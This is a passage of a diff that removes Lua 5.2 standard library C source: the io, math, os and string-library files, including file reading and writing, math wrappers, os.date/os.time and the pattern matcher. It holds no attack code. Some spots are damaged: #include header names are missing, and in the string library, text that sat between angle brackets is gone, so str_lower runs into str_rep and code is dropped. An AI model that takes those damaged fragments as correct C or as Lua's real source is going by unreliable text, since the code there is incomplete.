- luaL_addsize(&b, l - chop); /* chop 'eol' if needed */ - luaL_pushresult(&b); /* close buffer */ - return 1; /* read at least an `eol' */ - } - } -} - - -#define MAX_SIZE_T (~(size_t)0) - -static void read_all (lua_State *L, FILE *f) { - size_t rlen = LUAL_BUFFERSIZE; /* how much to read in each cycle */ - luaL_Buffer b; - luaL_buffinit(L, &b); - for (;;) { - char *p = luaL_prepbuffsize(&b, rlen); - size_t nr = fread(p, sizeof(char), rlen, f); - luaL_addsize(&b, nr); - if (nr < rlen) break; /* eof? */ - else if (rlen <= (MAX_SIZE_T / 4)) /* avoid buffers too large */ - rlen *= 2; /* double buffer size at each iteration */ - } - luaL_pushresult(&b); /* close buffer */ -} - - -static int read_chars (lua_State *L, FILE *f, size_t n) { - size_t nr; /* number of chars actually read */ - char *p; - luaL_Buffer b; - luaL_buffinit(L, &b); - p = luaL_prepbuffsize(&b, n); /* prepare buffer to read whole block */ - nr = fread(p, sizeof(char), n, f); /* try to read 'n' chars */ - luaL_addsize(&b, nr); - luaL_pushresult(&b); /* close buffer */ - return (nr > 0); /* true iff read something */ -} - - -static int g_read (lua_State *L, FILE *f, int first) { - int nargs = lua_gettop(L) - 1; - int success; - int n; - clearerr(f); - if (nargs == 0) { /* no arguments? */ - success = read_line(L, f, 1); - n = first+1; /* to return 1 result */ - } - else { /* ensure stack space for all results and for auxlib's buffer */ - luaL_checkstack(L, nargs+LUA_MINSTACK, "too many arguments"); - success = 1; - for (n = first; nargs-- && success; n++) { - if (lua_type(L, n) == LUA_TNUMBER) { - size_t l = (size_t)lua_tointeger(L, n); - success = (l == 0) ? test_eof(L, f) : read_chars(L, f, l); - } - else { - const char *p = lua_tostring(L, n); - luaL_argcheck(L, p && p[0] == '*', n, "invalid option"); - switch (p[1]) { - case 'n': /* number */ - success = read_number(L, f); - break; - case 'l': /* line */ - success = read_line(L, f, 1); - break; - case 'L': /* line with end-of-line */ - success = read_line(L, f, 0); - break; - case 'a': /* file */ - read_all(L, f); /* read entire file */ - success = 1; /* always success */ - break; - default: - return luaL_argerror(L, n, "invalid format"); - } - } - } - } - if (ferror(f)) - return luaL_fileresult(L, 0, NULL); - if (!success) { - lua_pop(L, 1); /* remove last result */ - lua_pushnil(L); /* push nil instead */ - } - return n - first; -} - - -static int io_read (lua_State *L) { - return g_read(L, getiofile(L, IO_INPUT), 1); -} - - -static int f_read (lua_State *L) { - return g_read(L, tofile(L), 2); -} - - -static int io_readline (lua_State *L) { - LStream *p = (LStream *)lua_touserdata(L, lua_upvalueindex(1)); - int i; - int n = (int)lua_tointeger(L, lua_upvalueindex(2)); - if (isclosed(p)) /* file is already closed? */ - return luaL_error(L, "file is already closed"); - lua_settop(L , 1); - for (i = 1; i <= n; i++) /* push arguments to 'g_read' */ - lua_pushvalue(L, lua_upvalueindex(3 + i)); - n = g_read(L, p->f, 2); /* 'n' is number of results */ - lua_assert(n > 0); /* should return at least a nil */ - if (!lua_isnil(L, -n)) /* read at least one value? */ - return n; /* return them */ - else { /* first result is nil: EOF or error */ - if (n > 1) { /* is there error information? */ - /* 2nd result is error message */ - return luaL_error(L, "%s", lua_tostring(L, -n + 1)); - } - if (lua_toboolean(L, lua_upvalueindex(3))) { /* generator created file? */ - lua_settop(L, 0); - lua_pushvalue(L, lua_upvalueindex(1)); - aux_close(L); /* close it */ - } - return 0; - } -} - -/* }====================================================== */ - - -static int g_write (lua_State *L, FILE *f, int arg) { - int nargs = lua_gettop(L) - arg; - int status = 1; - for (; nargs--; arg++) { - if (lua_type(L, arg) == LUA_TNUMBER) { - /* optimization: could be done exactly as for strings */ - status = status && - fprintf(f, LUA_NUMBER_FMT, lua_tonumber(L, arg)) > 0; - } - else { - size_t l; - const char *s = luaL_checklstring(L, arg, &l); - status = status && (fwrite(s, sizeof(char), l, f) == l); - } - } - if (status) return 1; /* file handle already on stack top */ - else return luaL_fileresult(L, status, NULL); -} - - -static int io_write (lua_State *L) { - return g_write(L, getiofile(L, IO_OUTPUT), 1); -} - - -static int f_write (lua_State *L) { - FILE *f = tofile(L); - lua_pushvalue(L, 1); /* push file at the stack top (to be returned) */ - return g_write(L, f, 2); -} - - -static int f_seek (lua_State *L) { - static const int mode[] = {SEEK_SET, SEEK_CUR, SEEK_END}; - static const char *const modenames[] = {"set", "cur", "end", NULL}; - FILE *f = tofile(L); - int op = luaL_checkoption(L, 2, "cur", modenames); - lua_Number p3 = luaL_optnumber(L, 3, 0); - l_seeknum offset = (l_seeknum)p3; - luaL_argcheck(L, (lua_Number)offset == p3, 3, - "not an integer in proper range"); - op = l_fseek(f, offset, mode[op]); - if (op) - return luaL_fileresult(L, 0, NULL); /* error */ - else { - lua_pushnumber(L, (lua_Number)l_ftell(f)); - return 1; - } -} - - -static int f_setvbuf (lua_State *L) { - static const int mode[] = {_IONBF, _IOFBF, _IOLBF}; - static const char *const modenames[] = {"no", "full", "line", NULL}; - FILE *f = tofile(L); - int op = luaL_checkoption(L, 2, NULL, modenames); - lua_Integer sz = luaL_optinteger(L, 3, LUAL_BUFFERSIZE); - int res = setvbuf(f, NULL, mode[op], sz); - return luaL_fileresult(L, res == 0, NULL); -} - - - -static int io_flush (lua_State *L) { - return luaL_fileresult(L, fflush(getiofile(L, IO_OUTPUT)) == 0, NULL); -} - - -static int f_flush (lua_State *L) { - return luaL_fileresult(L, fflush(tofile(L)) == 0, NULL); -} - - -/* -** functions for 'io' library -*/ -static const luaL_Reg iolib[] = { - {"close", io_close}, - {"flush", io_flush}, - {"input", io_input}, - {"lines", io_lines}, - {"open", io_open}, - {"output", io_output}, - {"popen", io_popen}, - {"read", io_read}, - {"tmpfile", io_tmpfile}, - {"type", io_type}, - {"write", io_write}, - {NULL, NULL} -}; - - -/* -** methods for file handles -*/ -static const luaL_Reg flib[] = { - {"close", io_close}, - {"flush", f_flush}, - {"lines", f_lines}, - {"read", f_read}, - {"seek", f_seek}, - {"setvbuf", f_setvbuf}, - {"write", f_write}, - {"__gc", f_gc}, - {"__tostring", f_tostring}, - {NULL, NULL} -}; - - -static void createmeta (lua_State *L) { - luaL_newmetatable(L, LUA_FILEHANDLE); /* create metatable for file handles */ - lua_pushvalue(L, -1); /* push metatable */ - lua_setfield(L, -2, "__index"); /* metatable.__index = metatable */ - luaL_setfuncs(L, flib, 0); /* add file methods to new metatable */ - lua_pop(L, 1); /* pop new metatable */ -} - - -/* -** function to (not) close the standard files stdin, stdout, and stderr -*/ -static int io_noclose (lua_State *L) { - LStream *p = tolstream(L); - p->closef = &io_noclose; /* keep file opened */ - lua_pushnil(L); - lua_pushliteral(L, "cannot close standard file"); - return 2; -} - - -static void createstdfile (lua_State *L, FILE *f, const char *k, - const char *fname) { - LStream *p = newprefile(L); - p->f = f; - p->closef = &io_noclose; - if (k != NULL) { - lua_pushvalue(L, -1); - lua_setfield(L, LUA_REGISTRYINDEX, k); /* add file to registry */ - } - lua_setfield(L, -2, fname); /* add file to module */ -} - - -LUAMOD_API int luaopen_io (lua_State *L) { - luaL_newlib(L, iolib); /* new module */ - createmeta(L); - /* create (and set) default files */ - createstdfile(L, stdin, IO_INPUT, "stdin"); - createstdfile(L, stdout, IO_OUTPUT, "stdout"); - createstdfile(L, stderr, NULL, "stderr"); - return 1; -} - -/* -** $Id: lmathlib.c,v 1.81 2012/05/18 17:47:53 roberto Exp $ -** Standard mathematical library -** See Copyright Notice in lua.h -*/ - - -#include -#include - -#define lmathlib_c -#define LUA_LIB - - - - -/* macro 'l_tg' allows the addition of an 'l' or 'f' to all math operations */ -#if !defined(l_tg) -#define l_tg(x) (x) -#endif - - -#undef PI -#define PI (l_tg(3.1415926535897932384626433832795)) -#define RADIANS_PER_DEGREE (PI/180.0) - - - -static int math_abs (lua_State *L) { - lua_pushnumber(L, l_tg(fabs)(luaL_checknumber(L, 1))); - return 1; -} - -static int math_sin (lua_State *L) { - lua_pushnumber(L, l_tg(sin)(luaL_checknumber(L, 1))); - return 1; -} - -static int math_sinh (lua_State *L) { - lua_pushnumber(L, l_tg(sinh)(luaL_checknumber(L, 1))); - return 1; -} - -static int math_cos (lua_State *L) { - lua_pushnumber(L, l_tg(cos)(luaL_checknumber(L, 1))); - return 1; -} - -static int math_cosh (lua_State *L) { - lua_pushnumber(L, l_tg(cosh)(luaL_checknumber(L, 1))); - return 1; -} - -static int math_tan (lua_State *L) { - lua_pushnumber(L, l_tg(tan)(luaL_checknumber(L, 1))); - return 1; -} - -static int math_tanh (lua_State *L) { - lua_pushnumber(L, l_tg(tanh)(luaL_checknumber(L, 1))); - return 1; -} - -static int math_asin (lua_State *L) { - lua_pushnumber(L, l_tg(asin)(luaL_checknumber(L, 1))); - return 1; -} - -static int math_acos (lua_State *L) { - lua_pushnumber(L, l_tg(acos)(luaL_checknumber(L, 1))); - return 1; -} - -static int math_atan (lua_State *L) { - lua_pushnumber(L, l_tg(atan)(luaL_checknumber(L, 1))); - return 1; -} - -static int math_atan2 (lua_State *L) { - lua_pushnumber(L, l_tg(atan2)(luaL_checknumber(L, 1), - luaL_checknumber(L, 2))); - return 1; -} - -static int math_ceil (lua_State *L) { - lua_pushnumber(L, l_tg(ceil)(luaL_checknumber(L, 1))); - return 1; -} - -static int math_floor (lua_State *L) { - lua_pushnumber(L, l_tg(floor)(luaL_checknumber(L, 1))); - return 1; -} - -static int math_fmod (lua_State *L) { - lua_pushnumber(L, l_tg(fmod)(luaL_checknumber(L, 1), - luaL_checknumber(L, 2))); - return 1; -} - -static int math_modf (lua_State *L) { - lua_Number ip; - lua_Number fp = l_tg(modf)(luaL_checknumber(L, 1), &ip); - lua_pushnumber(L, ip); - lua_pushnumber(L, fp); - return 2; -} - -static int math_sqrt (lua_State *L) { - lua_pushnumber(L, l_tg(sqrt)(luaL_checknumber(L, 1))); - return 1; -} - -static int math_pow (lua_State *L) { - lua_pushnumber(L, l_tg(pow)(luaL_checknumber(L, 1), - luaL_checknumber(L, 2))); - return 1; -} - -static int math_log (lua_State *L) { - lua_Number x = luaL_checknumber(L, 1); - lua_Number res; - if (lua_isnoneornil(L, 2)) - res = l_tg(log)(x); - else { - lua_Number base = luaL_checknumber(L, 2); - if (base == 10.0) res = l_tg(log10)(x); - else res = l_tg(log)(x)/l_tg(log)(base); - } - lua_pushnumber(L, res); - return 1; -} - -#if defined(LUA_COMPAT_LOG10) -static int math_log10 (lua_State *L) { - lua_pushnumber(L, l_tg(log10)(luaL_checknumber(L, 1))); - return 1; -} -#endif - -static int math_exp (lua_State *L) { - lua_pushnumber(L, l_tg(exp)(luaL_checknumber(L, 1))); - return 1; -} - -static int math_deg (lua_State *L) { - lua_pushnumber(L, luaL_checknumber(L, 1)/RADIANS_PER_DEGREE); - return 1; -} - -static int math_rad (lua_State *L) { - lua_pushnumber(L, luaL_checknumber(L, 1)*RADIANS_PER_DEGREE); - return 1; -} - -static int math_frexp (lua_State *L) { - int e; - lua_pushnumber(L, l_tg(frexp)(luaL_checknumber(L, 1), &e)); - lua_pushinteger(L, e); - return 2; -} - -static int math_ldexp (lua_State *L) { - lua_pushnumber(L, l_tg(ldexp)(luaL_checknumber(L, 1), - luaL_checkint(L, 2))); - return 1; -} - - - -static int math_min (lua_State *L) { - int n = lua_gettop(L); /* number of arguments */ - lua_Number dmin = luaL_checknumber(L, 1); - int i; - for (i=2; i<=n; i++) { - lua_Number d = luaL_checknumber(L, i); - if (d < dmin) - dmin = d; - } - lua_pushnumber(L, dmin); - return 1; -} - - -static int math_max (lua_State *L) { - int n = lua_gettop(L); /* number of arguments */ - lua_Number dmax = luaL_checknumber(L, 1); - int i; - for (i=2; i<=n; i++) { - lua_Number d = luaL_checknumber(L, i); - if (d > dmax) - dmax = d; - } - lua_pushnumber(L, dmax); - return 1; -} - - -static int math_random (lua_State *L) { - /* the `%' avoids the (rare) case of r==1, and is needed also because on - some systems (SunOS!) `rand()' may return a value larger than RAND_MAX */ - lua_Number r = (lua_Number)(rand()%RAND_MAX) / (lua_Number)RAND_MAX; - switch (lua_gettop(L)) { /* check number of arguments */ - case 0: { /* no arguments */ - lua_pushnumber(L, r); /* Number between 0 and 1 */ - break; - } - case 1: { /* only upper limit */ - lua_Number u = luaL_checknumber(L, 1); - luaL_argcheck(L, 1.0 <= u, 1, "interval is empty"); - lua_pushnumber(L, l_tg(floor)(r*u) + 1.0); /* int in [1, u] */ - break; - } - case 2: { /* lower and upper limits */ - lua_Number l = luaL_checknumber(L, 1); - lua_Number u = luaL_checknumber(L, 2); - luaL_argcheck(L, l <= u, 2, "interval is empty"); - lua_pushnumber(L, l_tg(floor)(r*(u-l+1)) + l); /* int in [l, u] */ - break; - } - default: return luaL_error(L, "wrong number of arguments"); - } - return 1; -} - - -static int math_randomseed (lua_State *L) { - srand(luaL_checkunsigned(L, 1)); - (void)rand(); /* discard first value to avoid undesirable correlations */ - return 0; -} - - -static const luaL_Reg mathlib[] = { - {"abs", math_abs}, - {"acos", math_acos}, - {"asin", math_asin}, - {"atan2", math_atan2}, - {"atan", math_atan}, - {"ceil", math_ceil}, - {"cosh", math_cosh}, - {"cos", math_cos}, - {"deg", math_deg}, - {"exp", math_exp}, - {"floor", math_floor}, - {"fmod", math_fmod}, - {"frexp", math_frexp}, - {"ldexp", math_ldexp}, -#if defined(LUA_COMPAT_LOG10) - {"log10", math_log10}, -#endif - {"log", math_log}, - {"max", math_max}, - {"min", math_min}, - {"modf", math_modf}, - {"pow", math_pow}, - {"rad", math_rad}, - {"random", math_random}, - {"randomseed", math_randomseed}, - {"sinh", math_sinh}, - {"sin", math_sin}, - {"sqrt", math_sqrt}, - {"tanh", math_tanh}, - {"tan", math_tan}, - {NULL, NULL} -}; - - -/* -** Open math library -*/ -LUAMOD_API int luaopen_math (lua_State *L) { - luaL_newlib(L, mathlib); - lua_pushnumber(L, PI); - lua_setfield(L, -2, "pi"); - lua_pushnumber(L, HUGE_VAL); - lua_setfield(L, -2, "huge"); - return 1; -} - -/* -** $Id: loslib.c,v 1.39 2012/05/23 15:37:09 roberto Exp $ -** Standard Operating System library -** See Copyright Notice in lua.h -*/ - - -#include -#include -#include -#include -#include - -#define loslib_c -#define LUA_LIB - - - - -/* -** list of valid conversion specifiers for the 'strftime' function -*/ -#if !defined(LUA_STRFTIMEOPTIONS) - -#if !defined(LUA_USE_POSIX) -#define LUA_STRFTIMEOPTIONS { "aAbBcdHIjmMpSUwWxXyYz%", "" } -#else -#define LUA_STRFTIMEOPTIONS \ - { "aAbBcCdDeFgGhHIjmMnprRStTuUVwWxXyYzZ%", "" \ - "", "E", "cCxXyY", \ - "O", "deHImMSuUVwWy" } -#endif - -#endif - - - -/* -** By default, Lua uses tmpnam except when POSIX is available, where it -** uses mkstemp. -*/ -#if defined(LUA_USE_MKSTEMP) -#include -#define LUA_TMPNAMBUFSIZE 32 -#define lua_tmpnam(b,e) { \ - strcpy(b, "/tmp/lua_XXXXXX"); \ - e = mkstemp(b); \ - if (e != -1) close(e); \ - e = (e == -1); } - -#elif !defined(lua_tmpnam) - -#define LUA_TMPNAMBUFSIZE L_tmpnam -#define lua_tmpnam(b,e) { e = (tmpnam(b) == NULL); } - -#endif - - -/* -** By default, Lua uses gmtime/localtime, except when POSIX is available, -** where it uses gmtime_r/localtime_r -*/ -#if defined(LUA_USE_GMTIME_R) - -#define l_gmtime(t,r) gmtime_r(t,r) -#define l_localtime(t,r) localtime_r(t,r) - -#elif !defined(l_gmtime) - -#define l_gmtime(t,r) ((void)r, gmtime(t)) -#define l_localtime(t,r) ((void)r, localtime(t)) - -#endif - - - -static int os_execute (lua_State *L) { - const char *cmd = luaL_optstring(L, 1, NULL); - int stat = system(cmd); - if (cmd != NULL) - return luaL_execresult(L, stat); - else { - lua_pushboolean(L, stat); /* true if there is a shell */ - return 1; - } -} - - -static int os_remove (lua_State *L) { - const char *filename = luaL_checkstring(L, 1); - return luaL_fileresult(L, remove(filename) == 0, filename); -} - - -static int os_rename (lua_State *L) { - const char *fromname = luaL_checkstring(L, 1); - const char *toname = luaL_checkstring(L, 2); - return luaL_fileresult(L, rename(fromname, toname) == 0, fromname); -} - - -static int os_tmpname (lua_State *L) { - char buff[LUA_TMPNAMBUFSIZE]; - int err; - lua_tmpnam(buff, err); - if (err) - return luaL_error(L, "unable to generate a unique filename"); - lua_pushstring(L, buff); - return 1; -} - - -static int os_getenv (lua_State *L) { - lua_pushstring(L, getenv(luaL_checkstring(L, 1))); /* if NULL push nil */ - return 1; -} - - -static int os_clock (lua_State *L) { - lua_pushnumber(L, ((lua_Number)clock())/(lua_Number)CLOCKS_PER_SEC); - return 1; -} - - -/* -** {====================================================== -** Time/Date operations -** { year=%Y, month=%m, day=%d, hour=%H, min=%M, sec=%S, -** wday=%w+1, yday=%j, isdst=? } -** ======================================================= -*/ - -static void setfield (lua_State *L, const char *key, int value) { - lua_pushinteger(L, value); - lua_setfield(L, -2, key); -} - -static void setboolfield (lua_State *L, const char *key, int value) { - if (value < 0) /* undefined? */ - return; /* does not set field */ - lua_pushboolean(L, value); - lua_setfield(L, -2, key); -} - -static int getboolfield (lua_State *L, const char *key) { - int res; - lua_getfield(L, -1, key); - res = lua_isnil(L, -1) ? -1 : lua_toboolean(L, -1); - lua_pop(L, 1); - return res; -} - - -static int getfield (lua_State *L, const char *key, int d) { - int res, isnum; - lua_getfield(L, -1, key); - res = (int)lua_tointegerx(L, -1, &isnum); - if (!isnum) { - if (d < 0) - return luaL_error(L, "field " LUA_QS " missing in date table", key); - res = d; - } - lua_pop(L, 1); - return res; -} - - -static const char *checkoption (lua_State *L, const char *conv, char *buff) { - static const char *const options[] = LUA_STRFTIMEOPTIONS; - unsigned int i; - for (i = 0; i < sizeof(options)/sizeof(options[0]); i += 2) { - if (*conv != '\0' && strchr(options[i], *conv) != NULL) { - buff[1] = *conv; - if (*options[i + 1] == '\0') { /* one-char conversion specifier? */ - buff[2] = '\0'; /* end buffer */ - return conv + 1; - } - else if (*(conv + 1) != '\0' && - strchr(options[i + 1], *(conv + 1)) != NULL) { - buff[2] = *(conv + 1); /* valid two-char conversion specifier */ - buff[3] = '\0'; /* end buffer */ - return conv + 2; - } - } - } - luaL_argerror(L, 1, - lua_pushfstring(L, "invalid conversion specifier '%%%s'", conv)); - return conv; /* to avoid warnings */ -} - - -static int os_date (lua_State *L) { - const char *s = luaL_optstring(L, 1, "%c"); - time_t t = luaL_opt(L, (time_t)luaL_checknumber, 2, time(NULL)); - struct tm tmr, *stm; - if (*s == '!') { /* UTC? */ - stm = l_gmtime(&t, &tmr); - s++; /* skip `!' */ - } - else - stm = l_localtime(&t, &tmr); - if (stm == NULL) /* invalid date? */ - lua_pushnil(L); - else if (strcmp(s, "*t") == 0) { - lua_createtable(L, 0, 9); /* 9 = number of fields */ - setfield(L, "sec", stm->tm_sec); - setfield(L, "min", stm->tm_min); - setfield(L, "hour", stm->tm_hour); - setfield(L, "day", stm->tm_mday); - setfield(L, "month", stm->tm_mon+1); - setfield(L, "year", stm->tm_year+1900); - setfield(L, "wday", stm->tm_wday+1); - setfield(L, "yday", stm->tm_yday+1); - setboolfield(L, "isdst", stm->tm_isdst); - } - else { - char cc[4]; - luaL_Buffer b; - cc[0] = '%'; - luaL_buffinit(L, &b); - while (*s) { - if (*s != '%') /* no conversion specifier? */ - luaL_addchar(&b, *s++); - else { - size_t reslen; - char buff[200]; /* should be big enough for any conversion result */ - s = checkoption(L, s + 1, cc); - reslen = strftime(buff, sizeof(buff), cc, stm); - luaL_addlstring(&b, buff, reslen); - } - } - luaL_pushresult(&b); - } - return 1; -} - - -static int os_time (lua_State *L) { - time_t t; - if (lua_isnoneornil(L, 1)) /* called without args? */ - t = time(NULL); /* get current time */ - else { - struct tm ts; - luaL_checktype(L, 1, LUA_TTABLE); - lua_settop(L, 1); /* make sure table is at the top */ - ts.tm_sec = getfield(L, "sec", 0); - ts.tm_min = getfield(L, "min", 0); - ts.tm_hour = getfield(L, "hour", 12); - ts.tm_mday = getfield(L, "day", -1); - ts.tm_mon = getfield(L, "month", -1) - 1; - ts.tm_year = getfield(L, "year", -1) - 1900; - ts.tm_isdst = getboolfield(L, "isdst"); - t = mktime(&ts); - } - if (t == (time_t)(-1)) - lua_pushnil(L); - else - lua_pushnumber(L, (lua_Number)t); - return 1; -} - - -static int os_difftime (lua_State *L) { - lua_pushnumber(L, difftime((time_t)(luaL_checknumber(L, 1)), - (time_t)(luaL_optnumber(L, 2, 0)))); - return 1; -} - -/* }====================================================== */ - - -static int os_setlocale (lua_State *L) { - static const int cat[] = {LC_ALL, LC_COLLATE, LC_CTYPE, LC_MONETARY, - LC_NUMERIC, LC_TIME}; - static const char *const catnames[] = {"all", "collate", "ctype", "monetary", - "numeric", "time", NULL}; - const char *l = luaL_optstring(L, 1, NULL); - int op = luaL_checkoption(L, 2, "all", catnames); - lua_pushstring(L, setlocale(cat[op], l)); - return 1; -} - - -static int os_exit (lua_State *L) { - int status; - if (lua_isboolean(L, 1)) - status = (lua_toboolean(L, 1) ? EXIT_SUCCESS : EXIT_FAILURE); - else - status = luaL_optint(L, 1, EXIT_SUCCESS); - if (lua_toboolean(L, 2)) - lua_close(L); - if (L) exit(status); /* 'if' to avoid warnings for unreachable 'return' */ - return 0; -} - - -static const luaL_Reg syslib[] = { - {"clock", os_clock}, - {"date", os_date}, - {"difftime", os_difftime}, - {"execute", os_execute}, - {"exit", os_exit}, - {"getenv", os_getenv}, - {"remove", os_remove}, - {"rename", os_rename}, - {"setlocale", os_setlocale}, - {"time", os_time}, - {"tmpname", os_tmpname}, - {NULL, NULL} -}; - -/* }====================================================== */ - - - -LUAMOD_API int luaopen_os (lua_State *L) { - luaL_newlib(L, syslib); - return 1; -} - -/* -** $Id: lstrlib.c,v 1.176 2012/05/23 15:37:09 roberto Exp $ -** Standard library for string operations and pattern-matching -** See Copyright Notice in lua.h -*/ - - -#include -#include -#include -#include -#include - -#define lstrlib_c -#define LUA_LIB - - - - -/* -** maximum number of captures that a pattern can do during -** pattern-matching. This limit is arbitrary. -*/ -#if !defined(LUA_MAXCAPTURES) -#define LUA_MAXCAPTURES 32 -#endif - - -/* macro to `unsign' a character */ -#define uchar(c) ((unsigned char)(c)) - - - -static int str_len (lua_State *L) { - size_t l; - luaL_checklstring(L, 1, &l); - lua_pushinteger(L, (lua_Integer)l); - return 1; -} - - -/* translate a relative string position: negative means back from end */ -static size_t posrelat (ptrdiff_t pos, size_t len) { - if (pos >= 0) return (size_t)pos; - else if (0u - (size_t)pos > len) return 0; - else return len - ((size_t)-pos) + 1; -} - - -static int str_sub (lua_State *L) { - size_t l; - const char *s = luaL_checklstring(L, 1, &l); - size_t start = posrelat(luaL_checkinteger(L, 2), l); - size_t end = posrelat(luaL_optinteger(L, 3, -1), l); - if (start < 1) start = 1; - if (end > l) end = l; - if (start <= end) - lua_pushlstring(L, s + start - 1, end - start + 1); - else lua_pushliteral(L, ""); - return 1; -} - - -static int str_reverse (lua_State *L) { - size_t l, i; - luaL_Buffer b; - const char *s = luaL_checklstring(L, 1, &l); - char *p = luaL_buffinitsize(L, &b, l); - for (i = 0; i < l; i++) - p[i] = s[l - i - 1]; - luaL_pushresultsize(&b, l); - return 1; -} - - -static int str_lower (lua_State *L) { - size_t l; - size_t i; - luaL_Buffer b; - const char *s = luaL_checklstring(L, 1, &l); - char *p = luaL_buffinitsize(L, &b, l); - for (i=0; i> 1) - -static int str_rep (lua_State *L) { - size_t l, lsep; - const char *s = luaL_checklstring(L, 1, &l); - int n = luaL_checkint(L, 2); - const char *sep = luaL_optlstring(L, 3, "", &lsep); - if (n <= 0) lua_pushliteral(L, ""); - else if (l + lsep < l || l + lsep >= MAXSIZE / n) /* may overflow? */ - return luaL_error(L, "resulting string too large"); - else { - size_t totallen = n * l + (n - 1) * lsep; - luaL_Buffer b; - char *p = luaL_buffinitsize(L, &b, totallen); - while (n-- > 1) { /* first n-1 copies (followed by separator) */ - memcpy(p, s, l * sizeof(char)); p += l; - if (lsep > 0) { /* avoid empty 'memcpy' (may be expensive) */ - memcpy(p, sep, lsep * sizeof(char)); p += lsep; - } - } - memcpy(p, s, l * sizeof(char)); /* last copy (not followed by separator) */ - luaL_pushresultsize(&b, totallen); - } - return 1; -} - - -static int str_byte (lua_State *L) { - size_t l; - const char *s = luaL_checklstring(L, 1, &l); - size_t posi = posrelat(luaL_optinteger(L, 2, 1), l); - size_t pose = posrelat(luaL_optinteger(L, 3, posi), l); - int n, i; - if (posi < 1) posi = 1; - if (pose > l) pose = l; - if (posi > pose) return 0; /* empty interval; return no values */ - n = (int)(pose - posi + 1); - if (posi + n <= pose) /* (size_t -> int) overflow? */ - return luaL_error(L, "string slice too long"); - luaL_checkstack(L, n, "string slice too long"); - for (i=0; i= ms->level || ms->capture[l].len == CAP_UNFINISHED) - return luaL_error(ms->L, "invalid capture index %%%d", l + 1); - return l; -} - - -static int capture_to_close (MatchState *ms) { - int level = ms->level; - for (level--; level>=0; level--) - if (ms->capture[level].len == CAP_UNFINISHED) return level; - return luaL_error(ms->L, "invalid pattern capture"); -} - - -static const char *classend (MatchState *ms, const char *p) { - switch (*p++) { - case L_ESC: { - if (p == ms->p_end) - luaL_error(ms->L, "malformed pattern (ends with " LUA_QL("%%") ")"); - return p+1; - } - case '[': { - if (*p == '^') p++; - do { /* look for a `]' */ - if (p == ms->p_end) - luaL_error(ms->L, "malformed pattern (missing " LUA_QL("]") ")"); - if (*(p++) == L_ESC && p < ms->p_end) - p++; /* skip escapes (e.g. `%]') */ - } while (*p != ']'); - return p+1; - } - default: { - return p; - } - } -} - - -static int match_class (int c, int cl) { - int res; - switch (tolower(cl)) { - case 'a' : res = isalpha(c); break; - case 'c' : res = iscntrl(c); break; - case 'd' : res = isdigit(c); break; - case 'g' : res = isgraph(c); break; - case 'l' : res = islower(c); break; - case 'p' : res = ispunct(c); break; - case 's' : res = isspace(c); break; - case 'u' : res = isupper(c); break; - case 'w' : res = isalnum(c); break; - case 'x' : res = isxdigit(c); break; - case 'z' : res = (c == 0); break; /* deprecated option */ - default: return (cl == c); - } - return (islower(cl) ? res : !res); -} - - -static int matchbracketclass (int c, const char *p, const char *ec) { - int sig = 1; - if (*(p+1) == '^') { - sig = 0; - p++; /* skip the `^' */ - } - while (++p < ec) { - if (*p == L_ESC) { - p++; - if (match_class(c, uchar(*p))) - return sig; - } - else if ((*(p+1) == '-') && (p+2 < ec)) { - p+=2; - if (uchar(*(p-2)) <= c && c <= uchar(*p)) - return sig; - } - else if (uchar(*p) == c) return sig; - } - return !sig; -} - - -static int singlematch (int c, const char *p, const char *ep) { - switch (*p) { - case '.': return 1; /* matches any char */ - case L_ESC: return match_class(c, uchar(*(p+1))); - case '[': return matchbracketclass(c, p, ep-1); - default: return (uchar(*p) == c); - } -} - - -static const char *match (MatchState *ms, const char *s, const char *p); - - -static const char *matchbalance (MatchState *ms, const char *s, - const char *p) { - if (p >= ms->p_end - 1) - luaL_error(ms->L, "malformed pattern " - "(missing arguments to " LUA_QL("%%b") ")"); - if (*s != *p) return NULL; - else { - int b = *p; - int e = *(p+1); - int cont = 1; - while (++s < ms->src_end) { - if (*s == e) { - if (--cont == 0) return s+1; - } - else if (*s == b) cont++; - } - } - return NULL; /* string ends out of balance */ -} - - -static const char *max_expand (MatchState *ms, const char *s, - const char *p, const char *ep) { - ptrdiff_t i = 0; /* counts maximum expand for item */ - while ((s+i)src_end && singlematch(uchar(*(s+i)), p, ep)) - i++; - /* keeps trying to match with the maximum repetitions */ - while (i>=0) { - const char *res = match(ms, (s+i), ep+1); - if (res) return res; - i--; /* else didn't match; reduce 1 repetition to try again */ - } - return NULL; -} - - -static const char *min_expand (MatchState *ms, const char *s, - const char *p, const char *ep) { - for (;;) { - const char *res = match(ms, s, ep+1); - if (res != NULL) - return res; - else if (ssrc_end && singlematch(uchar(*s), p, ep)) - s++; /* try with one more repetition */ - else return NULL; - } -} - - -static const char *start_capture (MatchState *ms, const char *s, - const char *p, int what) { - const char *res; - int level = ms->level; - if (level >= LUA_MAXCAPTURES) luaL_error(ms->L, "too many captures"); - ms->capture[level].init = s; - ms->capture[level].len = what; - ms->level = level+1; - if ((res=match(ms, s, p)) == NULL) /* match failed? */ - ms->level--; /* undo capture */ - return res; -} - - -static const char *end_capture (MatchState *ms, const char *s, - const char *p) { - int l = capture_to_close(ms); - const char *res; - ms->capture[l].len = s - ms->capture[l].init; /* close capture */ - if ((res = match(ms, s, p)) == NULL) /* match failed? */ - ms->capture[l].len = CAP_UNFINISHED; /* undo capture */ - return res; -} - - -static const char *match_capture (MatchState *ms, const char *s, int l) { - size_t len; - l = check_capture(ms, l); - len = ms->capture[l].len; - if ((size_t)(ms->src_end-s) >= len && - memcmp(ms->capture[l].init, s, len) == 0) - return s+len; - else return NULL; -} - - -static const char *match (MatchState *ms, const char *s, const char *p) { - init: /* using goto's to optimize tail recursion */ - if (p == ms->p_end) /* end of pattern? */ - return s; /* match succeeded */ - switch (*p) { - case '(': { /* start capture */ - if (*(p+1) == ')') /* position capture? */ - return start_capture(ms, s, p+2, CAP_POSITION); - else - return start_capture(ms, s, p+1, CAP_UNFINISHED); - } - case ')': { /* end capture */ - return end_capture(ms, s, p+1); - } - case '$': { - if ((p+1) == ms->p_end) /* is the `$' the last char in pattern? */ - return (s == ms->src_end) ? s : NULL; /* check end of string */ - else goto dflt; - } - case L_ESC: { /* escaped sequences not in the format class[*+?-]? */ - switch (*(p+1)) { - case 'b': { /* balanced string? */ - s = matchbalance(ms, s, p+2); - if (s == NULL) return NULL; - p+=4; goto init; /* else return match(ms, s, p+4); */ - } - case 'f': { /* frontier? */ - const char *ep; char previous; - p += 2; - if (*p != '[') - luaL_error(ms->L, "missing " LUA_QL("[") " after " - LUA_QL("%%f") " in pattern"); - ep = 